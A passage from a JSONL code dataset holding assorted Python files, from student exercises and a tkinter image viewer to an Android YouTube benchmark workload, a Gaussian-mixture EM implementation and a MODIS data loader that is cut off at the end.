comprar:\",item.get_text())\n\n\t\tarticulo = {\n\t\t\t'NombreArticulo': nombreArticulo,\n\t\t\t'Ofertas': []\n\t\t}\n\t\tfor j in range(len(proveedores)):\n\t\t\toferta = {\n\t\t\t\t'Proveedor': proveedores[j].get_text(),\n\t\t\t\t'Comentario': elimina_tildes(comentarios[j].get_text()),\n\t\t\t\t'Monto': montos[j].get_text(),\n\t\t\t\t'Cantidad': cantidades[j].get_text(),\n\t\t\t\t'Total': totales_neto[j].get_text(),\n\t\t\t\t'Adjudicado': adjudicados[j].get_text()\n\t\t\t}\n\t\t\tarticulo['Ofertas'].append(oferta)\n\t\t\n\t\tarticulos.append(articulo)\n\n\treturn articulos\n","sub_path":"urlParser.py","file_name":"urlParser.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"261082007","text":"import scannerpy\nimport cv2\nimport numpy as np\n\n# A kernel file defines a standalone Python kernel which performs some computation by exporting a\n# Kernel class.\n\n\nclass CalibrateKernel(scannerpy.Kernel):\n # __init__ is called once at the creation of the pipeline. Any arguments passed to the kernel\n # are provided through a protobuf object that you manually deserialize. See resize.proto for the\n # protobuf definition.\n def __init__(self, config, protobufs):\n self._width = config.args['width']\n self._height = config.args['height']\n\n # execute is the core computation routine maps inputs to outputs, e.g. here resizes an input\n # frame to a smaller output frame.\n def execute(self, columns):\n mask = np.array(columns[1])/255.0\n mask = mask.astype(np.uint8)\n return [cv2.resize(columns[0]*mask, (self._width, self._height))]\n\n\nKERNEL = CalibrateKernel\n","sub_path":"examples/apps/soccer_calibration/resize_kernel.py","file_name":"resize_kernel.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"179215798","text":"# 练习:\n# 已知有五位朋友在一起\n# 第五个人说它比第四个人大2岁\n# 第四个人说它比第三个人大2岁\n# 第三个人说它比第二个人大2岁\n# 第二个人说它比第一个人大2岁\n# 第一个人说它10岁\n# 编写程序:\n# 1) 算出第5个人几岁\n# 2) 算出第3个人几岁\n\n\n# def age(n): # n代表第n个人\n# if n == 1:\n# return 10\n# return age(n - 1) + 2\n\n\n# print(age(5))\n# print(age(3))\n\n # 2. 已知有列表:\nL = [[3,5,8],10,[[13, 14],15,18],20]\ndef sum_list(L):\n s = 0\n for x in L:\n if type(x) is int:\n s += x\n else:\n print(x)\n s +=sum_list(x)\n print(s)\n return s\nprint(sum_list(L))\n\n# L = [[3, 5, 8], 10, [[13, 14], 15, 18], 20]\n# l = []\n# n = int(input('a'))\n# s = 0\n# for x in range(1,n+1):\n# s += x\n# l.append(s)\n# print(l) ","sub_path":"aid1807正式班老师课件/python基础/day11/day11/exercise/get_age.py","file_name":"get_age.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"306761976","text":"# pd.Dataframe\n\n\ndef make_df_from_dir(dir, columns=['filename']):\n data = {}\n for column in columns:\n data[column] = []\n\n for item in os.listdir(dir):\n data[columns[0]].append(f'{dir}/{item}')\n\n # with open(f'{DATA_DIR}/Labels/{item[:-5]}.txt', 'r') as f:\n # file_content = f.read()\n\n return pd.DataFrame(data)\n\n def get_image_dims(arr):\n heights, widths = [], []\n for filename in arr:\n height, width, _ = np.array(keras.preprocessing.image.load_img(filename)).shape\n heights.append(height)\n widths.append(width)\n return np.asarray(heights), np.asarray(widths)\n","sub_path":"CodeSnippets.py","file_name":"CodeSnippets.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"251220323","text":"# SPDX-License-Identifier: Apache-2.0\n#\n# Copyright (C) 2015, ARM Limited and contributors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport re\nimport os\n\nfrom subprocess import Popen, PIPE\nfrom android import Screen, Workload\nfrom time import sleep\n\nimport logging\n\nYOUTUBE_CMD = 'shell dumpsys gfxinfo com.google.android.youtube > {}'\n\nclass YouTube(Workload):\n \"\"\"\n Android YouTube workload\n \"\"\"\n\n # Package required by this workload\n package = 'com.google.android.youtube'\n\n # Setup logger\n logger = logging.getLogger('YouTube')\n logger.setLevel(logging.INFO)\n\n\n def __init__(self, test_env):\n super(YouTube, self).__init__(test_env)\n logging.debug('%14s - Workload created', 'YouTube')\n\n def run(self, exp_dir, video_url, video_duration_s, collect=''):\n\n # Initialize energy meter results\n nrg_data, nrg_file = None, None\n\n # Unlock device screen (assume no password required)\n self.target.execute('input keyevent 82')\n # Press Back button to be sure we run the video from the start\n self.target.execute('input keyevent KEYCODE_BACK')\n\n # Force screen in LANDSCAPE mode\n Screen.set_orientation(self.target, portrait=False)\n\n # Start YouTube video on the target device\n youtube_cmd = 'am start -a android.intent.action.VIEW \"{}\"'\\\n .format(video_url)\n logging.info(youtube_cmd)\n self.target.execute(youtube_cmd)\n # Allow the activity to start\n sleep(3)\n\n # Reset framestats collection\n self.target.execute('dumpsys gfxinfo --reset')\n\n # Start energy collection\n if 'energy' in collect and self.te.emeter:\n self.te.emeter.reset()\n\n # Wait until the end of the video\n logging.info(\"Play video for %d [s]\", video_duration_s)\n sleep(video_duration_s)\n\n # Stop energy collection\n if 'energy' in collect and self.te.emeter:\n nrg_data, nrg_file = self.te.emeter.report(exp_dir)\n logging.info(\"Estimated energy: %7.3f\", float(nrg_data['BAT']))\n\n # Get frame stats\n db_file = os.path.join(exp_dir, \"framestats.txt\")\n self._adb(YOUTUBE_CMD.format(db_file))\n\n # Close and clear application\n self.target.execute('am force-stop com.google.android.youtube')\n self.target.execute('pm clear com.google.android.youtube')\n\n # Go back to home screen\n self.target.execute('input keyevent KEYCODE_HOME')\n\n # Switch back to screen auto rotation\n Screen.set_orientation(self.target, auto=True)\n\n return db_file, nrg_data, nrg_file\n\n# vim :set tabstop=4 shiftwidth=4 expandtab\n","sub_path":"libs/utils/android/workloads/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"255535366","text":"#!/usr/bin/env python\n\nimport dbus\nimport sys\nimport time\nfrom typing import Optional\n\n\ndef wrap_text(text: str, max_len: int, position: Optional[int] = None) -> str:\n # If the text fits the window just return it\n if len(text) < max_len:\n return text\n\n if position is None:\n position = int(time.time())\n\n # Add separator to text\n text += \"  \"\n position = position % (len(text))\n\n start = position\n end = start + max_len\n slice = text[start:end]\n\n slice2 = \"\"\n if end > len(text):\n slice2 = text[: max_len - len(slice)]\n\n return f\"{slice}{slice2}\"\n\n\ndef main():\n bus = dbus.SessionBus()\n try:\n bus.get_object(\"org.mpris.MediaPlayer2.spotify\", \"/org/mpris/MediaPlayer2\")\n except dbus.exceptions.DBusException:\n print(\"\")\n return\n\n proxy = bus.get_object(\"org.mpris.MediaPlayer2.spotify\", \"/org/mpris/MediaPlayer2\")\n device_prop = dbus.Interface(proxy, \"org.freedesktop.DBus.Properties\")\n\n status = device_prop.Get(\"org.mpris.MediaPlayer2.Player\", \"PlaybackStatus\")\n metadata = device_prop.Get(\"org.mpris.MediaPlayer2.Player\", \"Metadata\")\n\n if status == \"Playing\":\n symbol = \"%{F#98971a}%{F-}\"\n elif status == \"Paused\":\n symbol = \"%{F#f5a70a}%{F-}\"\n else:\n symbol = \"%{F#f00}%{F-}\"\n\n artists = metadata.get(\"xesam:artist\")\n if not artists:\n print(\"\")\n return\n\n output = wrap_text(f\"{artists[0]} - {metadata.get('xesam:title')}\", 30)\n\n print(f\"{symbol} {output}\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"files/config/polybar/scripts/spotify_status.py","file_name":"spotify_status.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"565269150","text":"from django.urls import path\nfrom .views import HomePageView, AboutPageView, EmployeeImage, EmpImageDisplay, BD_SelectImageView\nfrom .views import BD_output, BD_fixedView1, BD_fixedView2, BD_fixedView3\n# , BD_fixedOutputView\n# , BD_pageView, BD_fixedView\n\nurlpatterns = [\n path('', HomePageView.as_view(), name = 'home'),\n path('about/', AboutPageView.as_view(), name = 'about'),\n path('emp_image/', EmployeeImage.as_view(), name = 'emp_image.html'),\n path('upload//', EmpImageDisplay.as_view(), name='emp_image_display'),\n # path('BD_page/', BD_pageView.as_view(), name='BD_page.html'),\n path('BD_selectImage/', BD_SelectImageView.as_view(), name = 'BD_selectImage.html'),\n path('upload2//', BD_output.as_view(), name = 'BD_output_display'),\n # path('BD_fixed/', BD_fixedView.as_view(), name='BD_fixed.html'),\n # path('BD_fixedOutput/', BD_fixedOutputView.as_view(), name='BD_fixedOutput.html'),\n # path('BD_selectDisaster/', BD_fixedView.as_view(), name = 'BD_selectDisaster.html'),\n # path('/', BD_fixedOutputView.as_view(), name = 'BD_fixedOutput'),\n path('BD_fixed/', BD_fixedView1.select_disaster, name = 'BD_fixed.html'),\n path('get_images/', BD_fixedView2.get_images, name = 'bd2.html'),\n path('getOutput/', BD_fixedView2.getOutput, name = 'getOutput'),\n]\n\napp_name = 'home'","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"270221747","text":"\"\"\"\n* @predict generalization\n* @Author: Zhihui Lu\n* @Date: 2018/09/03\n\"\"\"\n\nimport os\nimport numpy as np\nimport argparse\nimport SimpleITK as sitk\nimport csv\nimport dataIO as io\nfrom model import Variational_auto_encoder\nfrom keras.models import load_model, Model\n\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\n\n\ndef predict_gen():\n parser = argparse.ArgumentParser(description='py, test_data_list, name_list, outdir')\n parser.add_argument('--test_data_list', '-i1', default='',\n help='test data')\n parser.add_argument('--truth_data_txt', '-i2', default='',\n help='name list')\n parser.add_argument('--name_list', '-i3', default='',\n help='name list')\n parser.add_argument('--encoder_model', '-i4', default='',\n help='model')\n parser.add_argument('--decoder_model', '-i5', default='',\n help='model')\n parser.add_argument('--outdir', '-i6', default='', help='outdir')\n args = parser.parse_args()\n\n if not (os.path.exists(args.outdir)):\n os.makedirs(args.outdir)\n\n # load name_list\n name_list = []\n with open(args.name_list) as paths_file:\n for line in paths_file:\n line = line.split()\n if not line: continue\n name_list.append(line[:])\n\n print('number of test data : {}'.format(len(name_list)))\n\n # load test data\n test_data = io.load_matrix_data(args.test_data_list, 'float32')\n test_data = np.expand_dims(test_data, axis=4)\n print(test_data.shape)\n\n # load ground truth\n ground_truth = io.load_matrix_data(args.truth_data_txt, 'int32')\n print(ground_truth.shape)\n\n # get image size\n image_size = []\n image_size.extend([list(test_data.shape)[1], list(test_data.shape)[2], list(test_data.shape)[3]])\n print(image_size)\n\n # # set network\n encoder = load_model(args.encoder_model)\n decoder = load_model(args.decoder_model)\n\n encoder_result = encoder.predict(test_data, 1)\n preds = decoder.predict(encoder_result, 1)\n\n # reshape\n preds = preds[:, :, :, :, 0]\n print(preds.shape)\n\n ji = []\n for i in range(preds.shape[0]):\n # # EUDT\n # eudt_image = sitk.GetImageFromArray(preds[i])\n # eudt_image.SetSpacing([1, 1, 1])\n # eudt_image.SetOrigin([0, 0, 0])\n #\n # # label\n label = np.where(preds[i] > 0, 0, 1)\n label_image = sitk.GetImageFromArray(label)\n label_image.SetSpacing([1, 1, 1])\n label_image.SetOrigin([0, 0, 0])\n\n # calculate ji\n ji.append([jaccard(label, ground_truth[i])])\n\n # # output image\n # io.write_mhd_and_raw(eudt_image, '{}.mhd'.format(os.path.join(args.outdir, 'EUDT', *name_list[i])))\n # io.write_mhd_and_raw(label_image, '{}.mhd'.format(os.path.join(args.outdir, 'label', *name_list[i])))\n\n generalization = np.mean(ji)\n print('generalization = %f' % generalization)\n\n # # output csv file\n # with open(os.path.join(args.outdir, 'generalization.csv'), 'w', newline='') as file:\n # writer = csv.writer(file)\n # writer.writerows(ji)\n # writer.writerow(['generalization= ', generalization])\n\n\ndef jaccard(im1, im2):\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n\n if im1.shape != im2.shape:\n raise ValueError(\"Shape mismatch: im1 and im2 must have the same shape.\")\n\n intersection = np.logical_and(im1, im2)\n\n union = np.logical_or(im1, im2)\n\n if float(intersection.sum()) == 0.:\n return 0.\n else:\n return intersection.sum() / float(union.sum())\n\nif __name__ == '__main__':\n predict_gen()\n","sub_path":"vae/vae_ver.3/predict_gen.py","file_name":"predict_gen.py","file_ext":"py","file_size_in_byte":3674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"549091645","text":"import re\nfrom feature_extraction.linguistic.utils import reshape_matrix, reshape_vector\nfrom nltk.tokenize import word_tokenize as wt\n\n\ndef total_words(sentences):\n result = []\n for s in sentences:\n l = []\n token_list = wt(s)\n for token in token_list:\n signs = re.compile('[^a-zA-Z0-9_\\\\+\\\\-/]')\n clean_word = signs.split(token)\n for word in clean_word:\n if word != '' and not is_number(word):\n l.append(word)\n result.append(l)\n return result\n\ndef is_number(s):\n try:\n float(s) if '.' in s else int(s)\n return True\n except ValueError:\n return False\n\ndef get_lexical_features(sentences, shape):\n return reshape_matrix([reshape_vector([s.count(w) / len(s) for w in s], shape) for s in total_words(sentences)], shape, shape)\n","sub_path":"feature_extraction/linguistic/lexical.py","file_name":"lexical.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"226192146","text":"# Exam3 Question 2 Ben Gowaski\n# Used scikit-learn library for reference: https://scikit-learn.org/stable/auto_examples/mixture/plot_gmm_selection.html\n# Also code adapted from http://ethen8181.github.io/machine-learning/clustering/GMM/GMM.html#How-many-Gaussians?\n\nimport numpy as np\nfrom numpy import random\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.mixture import GaussianMixture\nfrom scipy.stats import norm, multivariate_normal\nimport matplotlib.mlab as mlab\n\ndef generate_data(n_data, means, covariances, weights):\n \"\"\"creates a list of data points\"\"\"\n n_clusters, n_features = means.shape\n \n data = np.zeros((n_data, n_features))\n for i in range(n_data):\n # pick a cluster id and create data from this cluster\n k = np.random.choice(n_clusters, size = 1, p = weights)[0]\n x = np.random.multivariate_normal(means[k], covariances[k])\n data[i] = x\n \n return data\n\n# Model parameters, including the mean\n# covariance matrix and the weights for each cluster\ninit_means = np.array([\n [5, 0],\n [1, 1],\n [0, 5]\n])\n\ninit_covariances = np.array([\n [[.5, 0.], [0, .5]],\n [[.92, .38], [.38, .91]],\n [[.5, 0.], [0, .5]]\n])\n\ninit_weights = [1 / 4, 1 / 2, 1 / 4]\n\n# generate data\nnp.random.seed(4)\n# Generate N = 100 iid samples\nX = generate_data(100, init_means, init_covariances, init_weights)\n\n#Expected Maximization Code\nclass EM:\n \"\"\"\n Full covariance Gaussian Mixture Model,\n trained using Expectation Maximization\n \"\"\"\n \n def __init__(self, n_components, n_iter, tol, seed):\n self.n_components = n_components\n self.n_iter = n_iter\n self.tol = tol\n self.seed = seed\n\n def fit(self, X):\n \n # data's dimensionality and responsibility vector\n self.n_row, self.n_col = X.shape \n self.resp = np.zeros((self.n_row, self.n_components))\n \n # initialize parameters\n np.random.seed(self.seed)\n chosen = np.random.choice(self.n_row, self.n_components, replace = False)\n self.means = X[chosen]\n self.weights = np.full(self.n_components, 1 / self.n_components)\n \n # for np.cov, rowvar = False, \n # indicates that the rows represents obervation\n shape = self.n_components, self.n_col, self.n_col\n self.covs = np.full(shape, np.cov(X, rowvar = False))\n \n log_likelihood = 0\n self.converged = False\n self.log_likelihood_trace = [] \n \n for i in range(self.n_iter):\n self._do_estep(X)\n self._do_mstep(X)\n log_likelihood_new = self._compute_log_likelihood(X)\n \n if (log_likelihood - log_likelihood_new) <= self.tol:\n self.converged = True\n break\n \n log_likelihood = log_likelihood_new\n self.log_likelihood_trace.append(log_likelihood)\n \n return self\n \n def _do_estep(self, X):\n \"\"\"\n E-step: compute responsibilities,\n update resp matrix so that resp[j, k] is the responsibility of cluster k for data point j,\n to compute likelihood of seeing data point j given cluster k, use multivariate_normal.pdf\n \"\"\"\n for k in range(self.n_components):\n prior = self.weights[k]\n likelihood = multivariate_normal(self.means[k], self.covs[k]).pdf(X)\n self.resp[:, k] = prior * likelihood\n \n # normalize over all possible cluster assignments\n self.resp = self.resp / self.resp.sum(axis = 1, keepdims = 1)\n return self\n \n def _do_mstep(self, X):\n \"\"\"M-step, update parameters\"\"\"\n \n # total responsibility assigned to each cluster, N^{soft}\n resp_weights = self.resp.sum(axis = 0)\n \n # weights\n self.weights = resp_weights / self.n_row\n \n # means\n weighted_sum = np.dot(self.resp.T, X)\n self.means = weighted_sum / resp_weights.reshape(-1, 1)\n \n # covariance\n for k in range(self.n_components):\n diff = (X - self.means[k]).T\n weighted_sum = np.dot(self.resp[:, k] * diff, diff.T)\n self.covs[k] = weighted_sum / resp_weights[k]\n \n return self\n \n \n def _compute_log_likelihood(self, X):\n \"\"\"manually compute the log likelihood of the current parameter\"\"\"\n log_likelihood = 0\n for k in range(self.n_components):\n \n weight = self.weights[k]\n mean = self.means[k]\n cov = self.covs[k]\n cov_inverse = np.linalg.inv(cov)\n term_other = np.log(2 * np.pi) + np.log(np.linalg.det(cov))\n \n for x in X:\n # compute (x-mu)^T * Sigma^{-1} * (x-mu)\n diff = x - mean\n term_exponent = np.dot(diff.T, np.dot(cov_inverse, diff))\n \n # compute loglikelihood contribution for this data point and this cluster \n log_likelihood += -1 / 2 * (term_other + term_exponent) + np.log(weight)\n \n return log_likelihood\n\ndef plot_contours(data, means, covs, title):\n \"\"\"visualize the gaussian components over the data\"\"\"\n plt.figure()\n plt.plot(data[:, 0], data[:, 1], 'ko')\n\n delta = 0.025\n k = means.shape[0]\n x = np.arange(-2.0, 7.0, delta)\n y = np.arange(-2.0, 7.0, delta)\n X, Y = np.meshgrid(x, y)\n col = ['green', 'red', 'indigo']\n for i in range(k):\n mean = means[i]\n cov = covs[i]\n sigmax = np.sqrt(cov[0][0])\n sigmay = np.sqrt(cov[1][1])\n sigmaxy = cov[0][1] / (sigmax * sigmay)\n Z = mlab.bivariate_normal(X, Y, sigmax, sigmay, mean[0], mean[1], sigmaxy)\n plt.contour(X, Y, Z, colors = col[i])\n \n plt.title(title)\n plt.tight_layout()\n\n# use our implementation of the EM algorithm \n# and fit a mixture of Gaussians to the simulated data\nem = EM(n_components = 3, n_iter = 1, tol = 1e-4, seed = 4)\nem.fit(X)\n\n# use library to confirm results\ngmm = GaussianMixture(n_components = 3, covariance_type = 'full', \n max_iter = 600, random_state = 3)\ngmm.fit(X)\n\nprint('converged or not: ', gmm.converged_)\n#plot_contours(X, gmm.means_, gmm.covariances_, 'Final clusters')\n# K = [1,2,3,4,5,6]\nn_components = np.arange(1, 7)\n# Repeat 1000 times\nclfs = [GaussianMixture(n, max_iter = 1000).fit(X) for n in n_components]\nbics = [clf.bic(X) for clf in clfs]\n\nplt.bar(n_components, bics, label = 'BIC')\nplt.xlabel('n_components')\nplt.legend()\nplt.show()","sub_path":"exam_3/exam_3_ben_gowaski/Exam3_Q2_Ben_Gowaski.py","file_name":"Exam3_Q2_Ben_Gowaski.py","file_ext":"py","file_size_in_byte":6612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"305740211","text":"#!/usr/bin/python3\n\nimport sys\n\nprint(sys.version_info)\nprint(sys.version)\n\nprint(sys.platform)\n\n\nprint (\"hello\")\nprint(\"\"\" texte\n a la suite\"\"\")\nprint(\"hello Arthur\")\nprint(\"c'est le texte dans C:\\\\user\")\n\nstr = \"Spam\"\nprint (str)\n\na = ['a','b','c','d','e','f','g','h']\n\nprint (a [-4:])\nprint (a [:4])\nprint (a [3:-3])\ni = 5\nmykey = \"temps\"\nfois = 20\nprint ('la valeur %d et le mot \\'%s\\' aparaissent %d fois,' % (i,mykey,fois))\n\nprint('la valeur {} et le mot \\'{}\\' appraissent {} fois'.format(i, mykey, fois))\n\nvaleur = \"cat\"\nvaleur2 = \"do\"\nif valeur == \"cat\" and valeur2 == \"dog\":\n print (\"ok\")\nelse :\n print (\"inconnu\")\na = \"test ok\"\n\nfor lettre in \"spam\":\n print(\"current letter\", lettre)\n\nfruits = ['banane', 'orange', 'pomme','poire']\n\nfor fruit in fruits:\n print (\" mon fruit\" , fruit)\n\nfor num in range(1,10):\n print (num)\n if num==6:\n continue\n if num==8:\n break\nvar = 10\nwhile True:\n var -=1\n if var == 6:\n continue\n print (var)\n if var == 5:\n break\nprint (\"end loop\")\n\na = [1,2,3,4,5,6,7,8,9,10]\nsquares = [x**2 for x in a]\nprint (squares)\n\n# on a deux variables temps et distances\n\ntemps = 6.896\ndistance=19.7\nvitesse = distance / temps\n\nprint('la vitesse est de {} metres par seconde'.format(vitesse))\n\n# en utilisant la fonction range\n# afficher les entiers de 0 à 3 inclus\n# de 4 à 7 inclus\n\nfor num in range(0,10):\n print (num)\n if num == 0:\n continue\n if num == 3:\n break\n\nfor num2 in range(0, 10):\n if num2 >3:\n print(\"....\", num2)\n if num2 == 7:\n break\n\n# avec une boucle afficher les caractères de la chaine suivante\nmsg = \"c'est la formation devops\"\n\nfor c in msg:\n print (c)\n\n# sur la liste suivante faire les actions suivantes:\nliste = [17,38,10,25,72]\n# trier et affichr la liste\nliste.sort()\nprint(liste)\n# ajouter l'élément 12 dans la liste\nliste.append(12)\nprint(liste)\n# afficher l'idice de lélément 17\nliste.index(17)\nprint(liste)\n# enlevez l'élément 38 et afficher la liste\nliste.remove(38)\nprint(liste)\n# afficher la sous liste du 3eme élément jusqu'a la fin de la liste\nprint(liste[2:])\n# afficher la sous liste du début jusqu'au 3eme élément de la liste\nprint(liste[:3])\n#add line\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"568544258","text":"\nfrom tkinter import *\nfrom PIL import ImageTk,Image\n\nroot = Tk()\nroot.title('Simple image viwer')\n\n# Váriavel que controla a foto que será exibida\ni = 0\ndef next_image():\n # Importando as variáveis globais\n global i\n global my_label\n # Incrementando a variavel posicional e atualizando o botão\n if i < 4:\n i += 1\n button_back = Button(root, text='<<', command=back_image)\n button_back.grid(row=1, column=0)\n if i == 4:\n button_next = Button(root, text='>>', command=next_image, state=DISABLED)\n button_next.grid(row=1, column=2)\n\n # Trocando a imagem para a próxima\n my_label.grid_forget()\n my_label = Label(image=images[i])\n my_label.grid(row=0, column=0, columnspan=3)\n\n # Atualizando a barra de progressão\n status = Label(root, text=f'Image {i+1} of ' + str(len(images)), bd=1, relief=SUNKEN, anchor=E)\n status.grid(row=2, column=0, columnspan=3, sticky=W+E)\n\ndef back_image():\n global i\n global my_label\n if i > 0:\n i -= 1\n button_next = Button(root, text='>>', command=next_image)\n button_next.grid(row=1, column=2)\n if i == 0:\n button_back = Button(root, text='<<', command=back_image, state=DISABLED)\n button_back.grid(row=1, column=0)\n status = Label(root, text=f'Image {i+1} of ' + str(len(images)), bd=1, relief=SUNKEN, anchor=E)\n status.grid(row=2, column=0, columnspan=3, sticky=W+E)\n my_label.grid_forget()\n my_label = Label(image=images[i])\n my_label.grid(row=0, column=0, columnspan=3)\n\n status = Label(root, text=f'Image {i+1} of ' + str(len(images)), bd=1, relief=SUNKEN, anchor=E)\n status.grid(row=2, column=0, columnspan=3, sticky=W+E)\n\n# Criando as imagens\nmy_image1 = ImageTk.PhotoImage(Image.open('images/cloud.png'))\nmy_image2 = ImageTk.PhotoImage(Image.open('images/flyMan.png'))\nmy_image3 = ImageTk.PhotoImage(Image.open('images/spikeMan.png'))\nmy_image4 = ImageTk.PhotoImage(Image.open('images/sun.png'))\nmy_image5 = ImageTk.PhotoImage(Image.open('images/wingMan.png'))\nimages = [my_image1, my_image2,my_image3, my_image4, my_image5]\ncont = len(images)\n\nstatus = Label(root, text='Image 1 of ' + str(len(images)), bd=1, relief=SUNKEN, anchor=E)\n# Displaying uma das imagens na tela\nmy_label = Label(image=images[0])\nmy_label.grid(row=0, column=0, columnspan=3)\n\n# Criando os botões \nbutton_quit = Button(root, text='Exit Program', command=root.quit)\nbutton_next = Button(root, text='>>', command=next_image)\nbutton_back = Button(root, text='<<', state=DISABLED, command=back_image)\n\n# Posicionando os botões na tela\nbutton_back.grid(row=1, column=0)\nbutton_quit.grid(row=1, column=1)\nbutton_next.grid(row=1, column=2, pady=10)\n\nstatus.grid(row=2, column=0, columnspan=3, sticky=W+E)\nroot.mainloop()\n","sub_path":"image_viwer.py","file_name":"image_viwer.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"140442660","text":"\"\"\"Write a program that prints all prime numbers. (Note: if your programming language\n does not support arbitrary size numbers, printing all primes up to the largest number\n you can easily represent is fine too.)\"\"\"\n\nlower_bound = int(input(\"Please enter a lower bound:\"))\nupper_bound = int(input(\"Please enter an upper bound:\"))\n\nprint(\"All prime numbers between\",lower_bound,\"and\",upper_bound,\"are: \")\n\nfor num in range(lower_bound, upper_bound + 1):\n if num > 1:\n for i in range(2, num):\n if num % i == 0:\n break\n else:\n print(num)","sub_path":"Simple_Programing_Problems/Elementary/Task 8.py","file_name":"Task 8.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"116227825","text":"from dfs import dfs_iterator\nfrom edge_list_graph import Edge\nfrom edge_list_graph import Graph\nfrom edge_list_graph import Vertex\n\n\nclass Node:\n \n def __init__(self):\n super().__init__()\n Right= 0\n Left = 0\n Up = 0\n Down = 0\n\ndef RobotOnAGrid(num, maze):\n graph = Graph()\n graph.setEnd(str(len(maze)-1)+ \" \" +maze[len(maze)-1])\n graph.setStart(str(0)+ \" \" + maze[0])\n v1 = None\n v3 = None\n v2 = None\n dfs = dfs_iterator()\n\n#Laver knuder for alle \",\" tegene i mazeen\n for i in range(len(maze)):\n #Skifter linje\n if i%4 == 0 and i != 0:\n pass\n #Tilføjer knuder til højre \n elif maze[i] != '#' and maze[i+1] != '#':\n v1 = graph.insert_vertex(str(i) +\" \" + str(maze[i]))\n v2 = graph.insert_vertex(str(i) +\" \" +str( maze[i+1]))\n \n graph.insert_edge(\"R\", v1, v2)\n #Tilføj knuder ned af \n elif maze[i+5] != '#' and maze[i+num] != None:\n v3 = graph.insert_vertex(str(i) +\" \" + str(maze[i+num]))\n \n graph.insert_edge(\"D\",v1, v3 )\n #tilføj knuder til venstre\n elif maze[i] != '#' and maze[i-1] != '#' and maze[i-1] != None:\n v1 = graph.insert_vertex(str(i) +\" \" + str(maze[i]))\n v2 = graph.insert_vertex(str(i) +\" \" + str(maze[i+1]))\n graph.insert_edge(\"L\", v2, v1)\n #tilføj knuder op af\n elif maze[i] != '#' and maze[i-num] != None:\n v3 = graph.insert_vertex(str(i) +\" \" +str( maze[i-num]))\n graph.insert_edge(\"U\",v3, v1 )\n\n\n return dfs.DFS(graph)\n\n\n\nprint(RobotOnAGrid(5, \".....#..#.#..#....#......\"))","sub_path":"lektion 12-13 ncpc 2011/Problem A.py","file_name":"Problem A.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"228541738","text":"\r\n\r\ndef get_digits_number(num: int) -> tuple[int, list[int]]:\r\n count = 0\r\n digits = []\r\n while num > 0:\r\n count += 1\r\n digits.append(num % 10)\r\n num = num // 10\r\n return count, digits\r\n\r\n\r\ndef is_narcissistic_num(num: int) -> bool:\r\n count, digits = get_digits_number(num)\r\n nth = 0\r\n for digit in digits:\r\n nth += digit ** count\r\n return num == nth\r\n\r\n\r\nfor i in range(1, 1001):\r\n if is_narcissistic_num(i):\r\n print(f'narcissistic number: {i}')\r\n\r\n","sub_path":"tasks/task01/narcissistic_numbers.py","file_name":"narcissistic_numbers.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"630263454","text":"\"\"\"\r\nParse and load hdf4 modis files, needs gdal 2.1.* on ubuntu\r\nand create monthly time-series in a huge matrix\r\n\r\nRecipy followed:\r\n\r\n- Load raw LAI nasa data is loaded into a huge matrix.\r\nWe create a 8 day 1200*1200 matrix. So for 10 years this means\r\na matrix of 477*1200*1200\r\n\r\n- Convert this 8 day matrix in a 120 month matrix.\r\nso we end up with 120*1200*1200\r\n\r\n\r\n\"\"\"\r\nimport os\r\nimport argparse\r\nimport glob\r\nimport dateparser\r\nfrom matplotlib import pyplot\r\nimport logging\r\nimport read_modis\r\nimport h5py\r\nimport h5util\r\nimport numpy as np\r\nimport datetime\r\n# import load_datasets\r\n# import q\r\n\r\nimport settings\r\nfrom settings import conf\r\nfrom settings import lai_locations\r\n\r\nlog = 